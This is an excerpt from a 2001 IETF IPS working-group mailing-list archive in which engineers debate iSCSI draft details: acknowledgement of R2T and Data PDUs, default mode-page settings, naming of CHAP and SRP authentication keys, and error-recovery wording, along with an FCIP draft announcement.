"BURBRIDGE,MATTH > EW To: Julian Satran/Haifa/IBM@IBMIL, > (HP-UnitedKingdo ips@ece.cmu.edu > m,ex2)" cc: > ge@hp.com> > > 19-09-01 17:25 > Please respond > to > "BURBRIDGE,MATTH > EW > (HP-UnitedKingdo > m,ex2)" > > > > I am very much in favour of having a positive ACK mechanism to control > buffer resources at the target. If there is a very large transfer (e.g. 1 > Mb) then the sender can release buffer space once it knows that the > receiver > has received the data. It is worth pointing out that this mechanism is for > buffer control and is not for flow control which, as we all know, is > handled > by TCP. > > Cheers > > Matthew Burbridge > Senior Development Engineer > NIS-Bristol > Hewlett Packard > Telnet: 312 7010 > E-mail: matthewb@bri.hp.com > > -----Original Message----- > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > Sent: Wednesday, September 19, 2001 6:28 AM > To: ips@ece.cmu.edu > Subject: Re: iSCSI: SNACK R2T/Data > > There is no ACK mechanism. The group wisdom was that there is no need for > one. > Incoming data and R2Ts are not acked (a mechanism that did that existed and > was based on NOP-Out). > > Julo > > Michael Schoberg on 18-09-2001 19:09:51 > > Please respond to Michael Schoberg > > To: "'ips@ece.cmu.edu'" , Julian Satran/Haifa/IBM@IBMIL > cc: > Subject: iSCSI: SNACK R2T/Data > > Old subject, but I couldn't find any discussion on this: > > When does the target know it no longer needs to hold R2T & Data PDUs? > StatSN responses are acknowledged through the ExpStatSN field received in > future I->T requests. What's the acknowledgement method for R2T & Data > PDUs? Is it tied to the original request and acknowledged through the > ExpStatSN acknowledgment of the request's response? > > Thanks. --------------9216B7D4A48CC3B18F9FA400 Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------9216B7D4A48CC3B18F9FA400-- From owner-ips@ece.cmu.edu Thu Sep 20 12:59:49 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA15822 for ; Thu, 20 Sep 2001 12:59:48 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8KFXwi17863 for ips-outgoing; Thu, 20 Sep 2001 11:33:58 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8KFXtP17854 for ; Thu, 20 Sep 2001 11:33:55 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel13.hp.com (Postfix) with ESMTP id 8316C1F5AD; Thu, 20 Sep 2001 08:33:49 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id IAA27133; Thu, 20 Sep 2001 08:33:45 -0700 (PDT) Message-ID: <3BAA0DD7.4F7C8A80@cup.hp.com> Date: Thu, 20 Sep 2001 08:40:07 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: "Sanjeev Bhagat (TRIPACE/Zoetermeer)" Cc: IPS Reflector Subject: Re: iscsi : default iscsi mode page settings. References: <8C59010722BBD31194640050DA6EC6971B9826@ZOETERMEER> Content-Type: multipart/mixed; boundary="------------54C22710C8086105B76361D2" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------54C22710C8086105B76361D2 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sanjeev, As my original mail indicates, you may want to refer Section 3 of iscsi Rev 7.94 (found at : http://www.haifa.il.ibm.com/satran/ips). [Well, now, there's a Rev 7.95 (daily rev updates.)...] This section explains iscsi specific mode pages and calls out the default values listed below. - Santosh "Sanjeev Bhagat (TRIPACE/Zoetermeer)" wrote: > Santosh, > > Where did you find these SCSI Mode page settings? At least I could not find > it in SAM-2 document? The mode select command is available in SPI documents > but they are meant for particular SCSI device and not for iSCSI device? > > Be it whatever the case I would like to ask why the default value of > MaximumBurstSize is 512 units and why is the default value of FirstBurstSize > 128 units. remember each unit is 512 bytes as defined in iSCSI 7.9x > revisions so setting the default value of FirstBurstSize to 128 units means > 65536 bytes or 64K Bytes and similarly the value of Maximumburstsize is 256K > Bytes. Is it Ok to have the FirstBurstsize of 64KB?? > > Sanjeev > > -----Original Message----- > From: Santosh Rao [mailto:santoshr@cup.hp.com] > Sent: Thursday, September 20, 2001 2:04 AM > To: IPS Reflector > Subject: iscsi : default iscsi mode page settings. > > All, > > Speaking on the subject of default settings, some questions on recent > changes to the iscsi mode select pages...... > > 1) Section 3 of rev 7.94 of the iscsi draft attempts to call out default > values for the iscsi mode pages. Per my understanding, there are no > defaults for SCSI mode pages, and all the setting are assumed to be > disabled, unless explicitly turned on/enabled through a mode select. > > IOW, the keys in scsi mode pages are defined to be enabling certain > features and the default settings are that these features are turned off > unless a mode select is explicitly used to enable them. > > However, the iscsi mode pages seems to be using the opposite policy and > is advertising default settings for mode pages, that too, agreesive ones > at that! IOW, an initiator implemenation has to explicitly issue a mode > select to disable/turn_off features rather than issue a mode select to > turn them on. > > Here's a few examples : > > * default MaximumBurstSize : 512 units > * default EMDP : 1 (i.e. modify data pointers is enabled by default > !) > * default FirstBurstSize : 128 units. (i.e. initiators MUST use > solicited > data, unless they explicitly turn it off using mode select, since, > not > sending solicited data when it has been negotiated implies a target > may > abort the I/O. > > I suggest that in keeping with the scsi mode pages, NO default settings > be advertised for any iscsi mode > pages. i.e. all defaults are conservative (set to 0), unless explicitly > turned on thru a mode select. > > Comments ? > > Regards, > Santosh > > "Mallikarjun C." wrote: > > > Matthew, > > > > I completely agree that the default should be "no"! I pointed this > > out sometime ago myself. Apart from what you point out, the default > > setting for "ImmediateData" seems to be at variance with the > > conservative default for "InitialR2T" ("yes"). > > > > Julian, could you please consider this request? > > > > Regards. > > -- > > Mallikarjun > > > "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" wrote: > > > > > > Julian, > > > > > > Appendix D24 (ImmediateData) does not describe the result of > negotiation if > > > the two sides differ. I presume that since the default is "yes", > then only > > > if both sides agree to "no" is immediate data turned off. Please > can this > > > be stated. > > > > > > Additionally, I feel that the default value for ImmediateData should > be > > > "no". > > > > > > Similarly, there is no statement on MaxOutstandingR2T. Presumable > the > > > minimum is selected. --------------54C22710C8086105B76361D2 Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------54C22710C8086105B76361D2-- From owner-ips@ece.cmu.edu Thu Sep 20 13:01:36 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA15893 for ; Thu, 20 Sep 2001 13:01:36 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8KFgDi18529 for ips-outgoing; Thu, 20 Sep 2001 11:42:13 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from lightsand.com ([64.214.104.163]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8KFg6P18501 for ; Thu, 20 Sep 2001 11:42:11 -0400 (EDT) Received: from muralipc ([192.168.2.58]) by lightsand.com (8.9.3+Sun/8.9.1) with SMTP id IAA14746; Thu, 20 Sep 2001 08:41:58 -0700 (PDT) From: "Murali Rajagopal" To: , "IPS Reflector" Subject: RE: FCIP: draft-ietf-ips-fcovertcpip-06 Date: Thu, 20 Sep 2001 08:43:06 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 Importance: Normal In-Reply-To: <3BA96CC5.9F663FAE@compuserve.com> Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Thanks Ralph. -----Original Message----- From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of Ralph Weber Sent: Wednesday, September 19, 2001 9:13 PM To: IPS Reflector Subject: FCIP: draft-ietf-ips-fcovertcpip-06 The latest revision of FCIP has been sent to the Internet Drafts office for publication. The major changes in FCIP 06 are: o Responsibility for validating transit time made truly end-to-end and moved from the FCIP Entity to the FC Entity. o Change the TCP connection setup model from an interaction basis (between the FC Entity and the FCIP Entity) to a shared database basis, where the FCIP Entity obtains necessary TCP/IP setup information from a shared database instead of explicitly from the FC Entity. o Added table of interactions between FCIP and FC Entities to Annex E. o Bring Security specifications in line with agreements reached at Irvine Interim meeting. If you must have a copy of FCIP 06 today (Thursday, 9/20/01), it will be available after 6 a.m. EST US at: ftp://ftp.t11.org/t11/pub/fc/bb-2/01-482v0.txt ftp://ftp.t11.org/t11/pub/fc/bb-2/01-482v0.pdf Enjoy. Ralph Weber From owner-ips@ece.cmu.edu Thu Sep 20 14:03:45 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA17925 for ; Thu, 20 Sep 2001 14:03:44 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8KHAqo24897 for ips-outgoing; Thu, 20 Sep 2001 13:10:52 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from atlrel6.hp.com (atlrel6.hp.com [192.151.27.8]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8KHAoP24892 for ; Thu, 20 Sep 2001 13:10:50 -0400 (EDT) Received: from xatlrelay2.atl.hp.com (xatlrelay2.atl.hp.com [15.45.89.191]) by atlrel6.hp.com (Postfix) with ESMTP id 1E1F51F89C; Thu, 20 Sep 2001 13:10:32 -0400 (EDT) Received: from xatlbh3.atl.hp.com (xatlbh3.atl.hp.com [15.45.89.188]) by xatlrelay2.atl.hp.com (Postfix) with ESMTP id 1F95A1F541; Thu, 20 Sep 2001 13:10:28 -0400 (EDT) Received: by xatlbh3.atl.hp.com with Internet Mail Service (5.5.2653.19) id ; Thu, 20 Sep 2001 13:10:28 -0400 Message-ID: <499DC368E25AD411B3F100902740AD650777904D@xrose03.rose.hp.com> From: "CONGDON,PAUL (HP-Roseville,ex1)" To: "'Ofer Biran'" , "CONGDON,PAUL (HP-Roseville,ex1)" Cc: ips@ece.cmu.edu Subject: RE: iSCSI: U= in Authentication Date: Thu, 20 Sep 2001 13:10:24 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk Ofer and Steve, The fact that the keys are authentication method specific is exactly the problem. The difficulty with parsing non-unique keys is that you must tell your parser what context it is operating under. I can conceive of how this can be done, it's not that hard, but it seems like unnecessary complexity. It could get worse if key names overlap outside of authentication phase. I agree that aligning with the names used in the relevant RFCs has some merit. Perhaps we could satisfy both needs by using names such as: Srp-U, Srp-N, Srp-g, Srp-s, Srp-A, Srp-B, Srp-M, Srp-HM Chap-N, Chap-I, Chap-C, Chap-R, Chap-A Paul -----Original Message----- From: Ofer Biran [mailto:BIRAN@il.ibm.com] Sent: Thursday, September 20, 2001 5:28 AM To: CONGDON,PAUL (HP-Roseville,ex1) Cc: ips@ece.cmu.edu Subject: RE: iSCSI: U= in Authentication Paul, The implementers are sent to the relevant RFC for the definition of each authentication method, so the clearest way in my opinion was to use the exact keys as appeared in the RFCs (with a simple statement e.g. - "Where N, g, s, A, B, M, and H(A | M | K) are defined in [RFC2945]" ). I don't think, as Steve doesn't, that there is a real parsing problem since these keys are authentication method's specific (and you know where you are at that point). Regards, Ofer Ofer Biran Storage and Systems Technology IBM Research Lab in Haifa biran@il.ibm.com 972-4-8296253 "CONGDON,PAUL (HP-Roseville,ex1)" @ece.cmu.edu on 19/09/2001 20:12:37 Please respond to "CONGDON,PAUL (HP-Roseville,ex1)" Sent by: owner-ips@ece.cmu.edu To: John Hufferd/San Jose/IBM@IBMUS, Julian Satran/Haifa/IBM@IBMIL, Ofer_Biran/Haifa/IBM , mbakke@cisco.com, jtseng@NishanSystems.com cc: ips@ece.cmu.edu Subject: RE: iSCSI: U= in Authentication I agree that more clarification regarding how to associate SCSI Names with user identities should be provided. I'm not sure if I agree that it should be possible to omit the names entirely - however. This would provide another optional way to approach the exchange (may provide or may not) which adds complexity to this portion of the code, more test cases, more unnecessary options, etc.. As you've mentioned it may also be different depending upon the authentication method in use. There is certainly room for improvement here. I have a bit of a gripe about the key=value pairs during authentication phase in general. First of all, the key names are not very descriptive, which defeats the purpose of using Text keys in the first place (in my opinion). Secondly and more importantly, there are key values that are not unique and depend upon what authentication method is in progress in order to decode/parse them. For example, A=5 in CHAP for algorithm selection is completely different that A=2345 in SRP. Also N=initiatorName in CHAP is totally different than N=5678 in SRP. It would be much easier if the text command parser didn't have to consider what authentication method was running and that all key values were unique. Thus I propose making the following name changes to CHAP and SRP key values. I'm not too concerned about the exact key names used, just that they are somewhat descriptive and unique. CHAP Key Values Old New --- -------- A ChapAlgorithm I ChapID N ChapUser C ChapChallenge R ChapResponse SRP Key Values Old New --- --- U SrpUser N SrpSafePrime g SrpGenerator s SrpSalt A SrpPubKeyA B SrpPubKeyB M SrpSessionKey HM SrpKeyProof Paul +------------------------------------------+ Paul Congdon HP ProCurve Networking Hewlett Packard Company 8000 Foothills Blvd - M/S 5662 Roseville, CA 95747 phone: 916-785-5753 email: paul_congdon@hp.com +------------------------------------------+ From owner-ips@ece.cmu.edu Thu Sep 20 14:04:16 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA17959 for ; Thu, 20 Sep 2001 14:04:16 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8KHEMI25118 for ips-outgoing; Thu, 20 Sep 2001 13:14:22 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8KHEJP25105 for ; Thu, 20 Sep 2001 13:14:19 -0400 (EDT) Received: from xparelay1.corp.hp.com (unknown [15.58.136.173]) by palrel1.hp.com (Postfix) with ESMTP id CEAAAD0B; Thu, 20 Sep 2001 10:14:03 -0700 (PDT) Received: from xpabh4.corp.hp.com (xpabh4.corp.hp.com [15.58.136.1]) by xparelay1.corp.hp.com (Postfix) with ESMTP id 2FD6D1F558; Thu, 20 Sep 2001 10:14:03 -0700 (PDT) Received: by xpabh4.corp.hp.com with Internet Mail Service (5.5.2653.19) id ; Thu, 20 Sep 2001 10:14:03 -0700 Message-ID: <499DC368E25AD411B3F100902740AD650777904E@xrose03.rose.hp.com> From: "CONGDON,PAUL (HP-Roseville,ex1)" To: "'Steve Senum'" , John Hufferd Cc: ietf-ips Subject: RE: iSCSI: U= in Authentication Date: Thu, 20 Sep 2001 10:13:57 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk I agree with Steve here. The most likely deployment will be to use InitiatorName as UserID whenever possible, but it doesn't seem necessary to force that or allow the option to omit a name in one phase or another. Paul -----Original Message----- From: Steve Senum [mailto:ssenum@cisco.com] Sent: Thursday, September 20, 2001 9:38 AM To: John Hufferd Cc: ietf-ips Subject: Re: iSCSI: U= in Authentication John, My opinion on this is: What you are calling the UserID (i.e., U= for SRP, N= for CHAP), could be the same as the iSCSI Initiator Name, but it should not be required to be so. I see the N= within CHAP (or U= for SRP) being used for authentication, the process of verifying the Initiator is who it claims to be. I also see it as an integral part of the chosen AuthMethod. I see the InitiatorName= being used for authorization, the process of verifying what resources the Initiator can access. There are two reasons I can think of that the two names would be different: 1. The particular AuthMethod, or the implementation of some third party authentication server, might restrict what form a name can take that is not compatible with iSCSI naming. 2. A group of Initiators might be configured to use the same name for authentication purposes, simply because they are being managed as a group for authentication purposes. Steve Senum John Hufferd wrote: > > OK then Steve, and others I would be interested in your answers to the > following questions: > > If the UserID is exactly the same as the iSCSI Initiator Name, why would it > be entered again? > > If the UserID is different, why was the iSCSI initiator Name required? It > is only used as: > 1. A unique string that can ensure that the full Session identification is > unique, The UserID can do that. > 2. As an Authentication String. The UserID can do that. > > If the same users wants access to different storage from different systems, > that user can have a unique UserID for each system. > > If the User wants the same storage access from different systems, serially, > then that user can use the same UserID on each system. > > So is the UserID a substitute for iSCSI Initiator Name? > > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com > > Steve Senum @ece.cmu.edu on 09/19/2001 03:27:08 PM > > Sent by: owner-ips@ece.cmu.edu > > To: ietf-ips > cc: > Subject: Re: iSCSI: U= in Authentication > > I don't think it should be possible to omit > the usernames for AuthMethods SRP and CHAP. > > On the SRP and CHAP key names, I am mostly netural, > though I would prefer ChapId instead of ChapID. > Since they are AuthMethod specific though, I don't > really see the need to change them. > > Steve Senum > > "CONGDON,PAUL (HP-Roseville,ex1)" wrote: > > > > I agree that more clarification regarding how to associate SCSI Names > with > > user identities should be provided. I'm not sure if I agree that it > should > > be possible to omit the names entirely - however. This would provide > > another optional way to approach the exchange (may provide or may not) > which > > adds complexity to this portion of the code, more test cases, more > > unnecessary options, etc.. As you've mentioned it may also be different > > depending upon the authentication method in use. There is certainly room > for > > improvement here. > > > > I have a bit of a gripe about the key=value pairs during authentication > > phase in general. First of all, the key names are not very descriptive, > > which defeats the purpose of using Text keys in the first place (in my > > opinion). Secondly and more importantly, there are key values that are > not > > unique and depend upon what authentication method is in progress in order > to > > decode/parse them. For example, A=5 in CHAP for algorithm selection is > > completely different that A=2345 in SRP. Also N=initiatorName in CHAP is > > totally different than N=5678 in SRP. It would be much easier if the > text > > command parser didn't have to consider what authentication method was > > running and that all key values were unique. Thus I propose making the > > following name changes to CHAP and SRP key values. I'm not too concerned > > about the exact key names used, just that they are somewhat descriptive > and > > unique. > > > > CHAP Key Values > > > > Old New > > --- -------- > > A ChapAlgorithm > > I ChapID > > N ChapUser > > C ChapChallenge > > R ChapResponse > > > > SRP Key Values > > > > Old New > > --- --- > > U SrpUser > > N SrpSafePrime > > g SrpGenerator > > s SrpSalt > > A SrpPubKeyA > > B SrpPubKeyB > > M SrpSessionKey > > HM SrpKeyProof > > > > Paul > > > > +------------------------------------------+ > > Paul Congdon > > HP ProCurve Networking > > Hewlett Packard Company > > 8000 Foothills Blvd - M/S 5662 > > Roseville, CA 95747 > > phone: 916-785-5753 > > email: paul_congdon@hp.com > > +------------------------------------------+ > > > > -----Original Message----- > > From: John Hufferd [mailto:hufferd@us.ibm.com] > > Sent: Tuesday, September 18, 2001 6:22 PM > > To: Julian Satran; Ofer_Biran/Haifa/IBM%IBMUS; mbakke@cisco.com; > > jtseng@NishanSystems.com > > Cc: ips@ece.cmu.edu > > Subject: iSCSI: U= in Authentication > > > > Folks, > > I think we should indicate in the Security section of the document how > the > > security Authentication process might validate that the iSCSI Initiator > > Name sent in the Initial Login, has something approprate to do with the > > "user" being authenticated. (Otherwise, you could authenticate a user > and > > that user could claim/use any iSCSI Initiator Name in the InitiatorName > > key=value pair. > > > > It is kind of obvious how to relate the U= to the approprate iSCSI > > Initiator Name (in the case of SRP), and little less obvious with Chap, > > though I think it would be the N= parameter. However, it is really > not > > obvious when using Kerberos, and SPKM. > > > > It also should be possible for the initiator not to send another UserID, > if > > the Security Data Base the customer uses can support the iSCSI Initiator > > Name as a UserID. That is, it should be possible for the U= > > parameter not to be sent,and have that imply the value of is the > > iSCSI Initiator Node Name entered previously as a value in the > InitiaorName > > key=value pair. Same way with the N= in Chap. > > > > However, it is not clear, how you do similar things with Kerberos, and > > SPKM. > > > > What do you folks think about this, and how should we document it? > > > > . > > . > > . > > John L. Hufferd > > Senior Technical Staff Member (STSM) > > IBM/SSG San Jose Ca > > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > > Home Office (408) 997-6136 > > Internet address: hufferd@us.ibm.com From owner-ips@ece.cmu.edu Thu Sep 20 14:04:41 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA18006 for ; Thu, 20 Sep 2001 14:04:41 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8KGcDF22741 for ips-outgoing; Thu, 20 Sep 2001 12:38:13 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dogwood.cisco.com (dogwood.cisco.com [161.44.11.19]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8KGcBP22735 for ; Thu, 20 Sep 2001 12:38:11 -0400 (EDT) Received: from cisco.com (dhcp-161-44-68-173.cisco.com [161.44.68.173]) by dogwood.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id MAA01028; Thu, 20 Sep 2001 12:38:00 -0400 (EDT) Message-ID: <3BAA1B50.7F7F2D93@cisco.com> Date: Thu, 20 Sep 2001 11:37:36 -0500 From: Steve Senum X-Mailer: Mozilla 4.73 [en]C-CCK-MCD (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: John Hufferd CC: ietf-ips Subject: Re: iSCSI: U= in Authentication References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit John, My opinion on this is: What you are calling the UserID (i.e., U= for SRP, N= for CHAP), could be the same as the iSCSI Initiator Name, but it should not be required to be so. I see the N= within CHAP (or U= for SRP) being used for authentication, the process of verifying the Initiator is who it claims to be. I also see it as an integral part of the chosen AuthMethod. I see the InitiatorName= being used for authorization, the process of verifying what resources the Initiator can access. There are two reasons I can think of that the two names would be different: 1. The particular AuthMethod, or the implementation of some third party authentication server, might restrict what form a name can take that is not compatible with iSCSI naming. 2. A group of Initiators might be configured to use the same name for authentication purposes, simply because they are being managed as a group for authentication purposes. Steve Senum John Hufferd wrote: > > OK then Steve, and others I would be interested in your answers to the > following questions: > > If the UserID is exactly the same as the iSCSI Initiator Name, why would it > be entered again? > > If the UserID is different, why was the iSCSI initiator Name required? It > is only used as: > 1. A unique string that can ensure that the full Session identification is > unique, The UserID can do that. > 2. As an Authentication String. The UserID can do that. > > If the same users wants access to different storage from different systems, > that user can have a unique UserID for each system. > > If the User wants the same storage access from different systems, serially, > then that user can use the same UserID on each system. > > So is the UserID a substitute for iSCSI Initiator Name? > > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com > > Steve Senum @ece.cmu.edu on 09/19/2001 03:27:08 PM > > Sent by: owner-ips@ece.cmu.edu > > To: ietf-ips > cc: > Subject: Re: iSCSI: U= in Authentication > > I don't think it should be possible to omit > the usernames for AuthMethods SRP and CHAP. > > On the SRP and CHAP key names, I am mostly netural, > though I would prefer ChapId instead of ChapID. > Since they are AuthMethod specific though, I don't > really see the need to change them. > > Steve Senum > > "CONGDON,PAUL (HP-Roseville,ex1)" wrote: > > > > I agree that more clarification regarding how to associate SCSI Names > with > > user identities should be provided. I'm not sure if I agree that it > should > > be possible to omit the names entirely - however. This would provide > > another optional way to approach the exchange (may provide or may not) > which > > adds complexity to this portion of the code, more test cases, more > > unnecessary options, etc.. As you've mentioned it may also be different > > depending upon the authentication method in use. There is certainly room > for > > improvement here. > > > > I have a bit of a gripe about the key=value pairs during authentication > > phase in general. First of all, the key names are not very descriptive, > > which defeats the purpose of using Text keys in the first place (in my > > opinion). Secondly and more importantly, there are key values that are > not > > unique and depend upon what authentication method is in progress in order > to > > decode/parse them. For example, A=5 in CHAP for algorithm selection is > > completely different that A=2345 in SRP. Also N=initiatorName in CHAP is > > totally different than N=5678 in SRP. It would be much easier if the > text > > command parser didn't have to consider what authentication method was > > running and that all key values were unique. Thus I propose making the > > following name changes to CHAP and SRP key values. I'm not too concerned > > about the exact key names used, just that they are somewhat descriptive > and > > unique. > > > > CHAP Key Values > > > > Old New > > --- -------- > > A ChapAlgorithm > > I ChapID > > N ChapUser > > C ChapChallenge > > R ChapResponse > > > > SRP Key Values > > > > Old New > > --- --- > > U SrpUser > > N SrpSafePrime > > g SrpGenerator > > s SrpSalt > > A SrpPubKeyA > > B SrpPubKeyB > > M SrpSessionKey > > HM SrpKeyProof > > > > Paul > > > > +------------------------------------------+ > > Paul Congdon > > HP ProCurve Networking > > Hewlett Packard Company > > 8000 Foothills Blvd - M/S 5662 > > Roseville, CA 95747 > > phone: 916-785-5753 > > email: paul_congdon@hp.com > > +------------------------------------------+ > > > > -----Original Message----- > > From: John Hufferd [mailto:hufferd@us.ibm.com] > > Sent: Tuesday, September 18, 2001 6:22 PM > > To: Julian Satran; Ofer_Biran/Haifa/IBM%IBMUS; mbakke@cisco.com; > > jtseng@NishanSystems.com > > Cc: ips@ece.cmu.edu > > Subject: iSCSI: U= in Authentication > > > > Folks, > > I think we should indicate in the Security section of the document how > the > > security Authentication process might validate that the iSCSI Initiator > > Name sent in the Initial Login, has something approprate to do with the > > "user" being authenticated. (Otherwise, you could authenticate a user > and > > that user could claim/use any iSCSI Initiator Name in the InitiatorName > > key=value pair. > > > > It is kind of obvious how to relate the U= to the approprate iSCSI > > Initiator Name (in the case of SRP), and little less obvious with Chap, > > though I think it would be the N= parameter. However, it is really > not > > obvious when using Kerberos, and SPKM. > > > > It also should be possible for the initiator not to send another UserID, > if > > the Security Data Base the customer uses can support the iSCSI Initiator > > Name as a UserID. That is, it should be possible for the U= > > parameter not to be sent,and have that imply the value of is the > > iSCSI Initiator Node Name entered previously as a value in the > InitiaorName > > key=value pair. Same way with the N= in Chap. > > > > However, it is not clear, how you do similar things with Kerberos, and > > SPKM. > > > > What do you folks think about this, and how should we document it? > > > > . > > . > > . > > John L. Hufferd > > Senior Technical Staff Member (STSM) > > IBM/SSG San Jose Ca > > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > > Home Office (408) 997-6136 > > Internet address: hufferd@us.ibm.com From owner-ips@ece.cmu.edu Thu Sep 20 15:29:03 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA19678 for ; Thu, 20 Sep 2001 15:28:56 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8KI1dh28539 for ips-outgoing; Thu, 20 Sep 2001 14:01:39 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from chmls16.mediaone.net (chmls16.mediaone.net [24.147.1.151]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8KI1bP28535 for ; Thu, 20 Sep 2001 14:01:37 -0400 (EDT) Received: from breinhold ([140.186.40.85]) by chmls16.mediaone.net (8.11.1/8.11.1) with SMTP id f8KI1xT03035; Thu, 20 Sep 2001 14:02:02 -0400 (EDT) From: "Barry Reinhold" To: "Julian Satran" Cc: "ISCSI" Subject: iSCSI:Intent of sec. 8.4 of draft 07-95 Date: Thu, 20 Sep 2001 14:02:02 -0400 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Clause 8.4 states: "- If the discarded PDU is a response PDU, initiator MUST do one of the following - a) Request PDU retransmission with a status SNACK. [OR] b) Logout the connection for recovery and continue the tasks on a different connection instance as described in section 7.1. [OR] c) Logout to close the connection (abort all the commands associated with the connection) " Is it the intent of the draft to eliminate the action of just dropping the PDU. (i.e. allowing error recovery by having a SCSI timeout?) Barry Reinhold Principal Architect Trebia Networks barry.reinhold@trebia.com 603-868-5144/603-659-0885/978-929-0830 x138 From owner-ips@ece.cmu.edu Thu Sep 20 15:35:41 2001 Received: from 